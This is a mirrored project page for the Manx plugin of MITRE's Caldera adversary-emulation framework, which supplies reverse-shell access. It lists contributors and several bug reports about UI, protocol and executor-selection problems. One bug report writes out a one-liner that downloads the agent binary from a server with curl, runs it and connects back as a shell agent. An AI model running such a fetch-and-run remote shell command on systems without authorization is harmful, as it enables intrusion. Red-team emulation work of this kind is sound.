Coder Social home page Coder Social logo

manx's Introduction

MITRE Caldera Plugin: Manx

The Manx plugin supplies shell access into Caldera, along with reverse-shell payloads for entering/exiting agents manually.

manx's People

Contributors

argaudreau avatar blackwidow0616 avatar christophert avatar clenk avatar elegantmoose avatar emmanvg avatar iguannalin avatar jamiescottc avatar kisec avatar morinjmit avatar mrengstrom avatar nopfor avatar privateducky avatar protoli avatar unkempthenry avatar uruwhy avatar wbooth avatar yee-jonathan avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

manx's Issues

Cannot Execute or Retrieve Execution Output

Good evening Manx Team,

I tried the plugin today and I do not know if I am running it correctly, but either by typing commands or using the drop-down menu options, I do not get any output.

image

I do have a Windows Defender exclusion on folder C:\users\ for the binary

image

image

Running Agent on Win10 Build 18363 .

Thank you in advance for your time :)

"Select a session" menu empty in Chrome

From Chrome, the "Select a session" menu is empty even when there are active manx agents. From Firefox, the menu works correctly, and I can select from the active agent sessions.

It's CALDERA 2.6.6 running on an AWS Ubuntu 18.04.04 instance. A manx agent is running 'locally' on that same Ubuntu server. I also have a 2nd manx agent running on an AWS Windows server.

My browsers are connecting in to that AWS CALDERA server from the office I'm sitting in. Here in that office, it's:
-- Chrome: 81.0.4044.129 (Official Build) (64-bit)
-- Firefox: 75.0 (64-bit)
-- OS: Ubuntu 18.04.04 LTS

Manx UDP training tests for TCP

Describe the bug
Going through the Caldera training and I got stuck on the "Manx UDP" test. I was having issues getting the Manx terminal to connect to my UDP agent. After some research and looking around I started noticing that the terminal only works with TCP. I checked the caldera/plugins/training/app/flags/plugins/manx/flag_0.py and noticed it tested for TCP connection. I was then able to pass the training.

I am running Caldera 4.0.0 Beta on Ubuntu 20.04.1. My UDP agent is running on Win10 21H1

To Reproduce
Steps to reproduce the behavior:

  1. Deploy a Manx UDP agent
  2. Attempt to run "whoami" or any command from the Manx terminal

Expected behavior
The test needs to reference TCP or the Manx terminal needs to be able to select a UDP beacon

Screenshots
Manx UDP Test (I believe line 20 is the issue)
Screen Shot 2022-03-10 at 8 11 17 PM

Screenshot of active UDP Connection
Screen Shot 2022-03-10 at 8 37 12 PM

Screenshot of no available beacon for the Manx terminal
Screen Shot 2022-03-10 at 8 37 51 PM

Desktop (please complete the following information):

  • OS: Caldera - Ubuntu 20.04, Agent - Win10 21H1, Operator Box - MacOS
  • Browser: Chrome
  • Version: Version 99.0.4844.51 (Official Build) (x86_64)

Additional context

Add any other context about the problem here.

Terminal UI - command not corresponding to the agent's OS.

Caldera version :

$ cd caldera && git rev-parse HEAD
6d9011358eef3041b4e60b64bf2f16f561be9d29

Steps to reproduce the issue:

  • deploy a Manx agent on Linux Debian 10
    $ server="http://192.168.68.68:8888";socket="192.168.68.68:7010";contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > manx.go;chmod +x manx.go;./manx.go -http $server -socket $socket -contact $contact -v
    • On Web UI as red : campaigns -> agent : agent is up and running and well identify as linux
      Architecture | amd64
      Platform | linux
      
  • On Web UI as red : plugins -> Manx
  • select the running agent
  • tactic : discovery
  • technique : T1057 | Process Discovery
  • procedure : System processes

Actual output, the windows executor is proposed :

Get-process

Expected output:

ps aux 

according to https://github.com/mitre/stockpile/blob/e60b281f176a9ceded9c58f5234d87f2ae817b32/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml#L19

Suggested fix:

  • manx/static/js/terminal.js

    Lines 173 to 180 in 4c4c844

    function filterProcedures() {
    $('#procedure-filter').empty().append("<option disabled='disabled' selected>Choose a procedure</option>");
    ABILITIES.forEach(function(ability){
    if(ability.tactic === $('#tactic-filter').val() && ability.technique_id === $('#technique-filter').val()) {
    $('#procedure-filter').append('<option value="'+ability.ability_id+'">'+ability.name+'</option>');
    }
    });
    }
    Do not display procedures that do not have an executor for the agent's OS.
  • manx/static/js/terminal.js

    Lines 182 to 186 in 4c4c844

    function displayProcedure(data){
    let a = data[0];
    term.write(atob(a.test));
    input = atob(a.test);
    }
    Do not use the first executor. Use an executor corresponding to the agent's OS.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.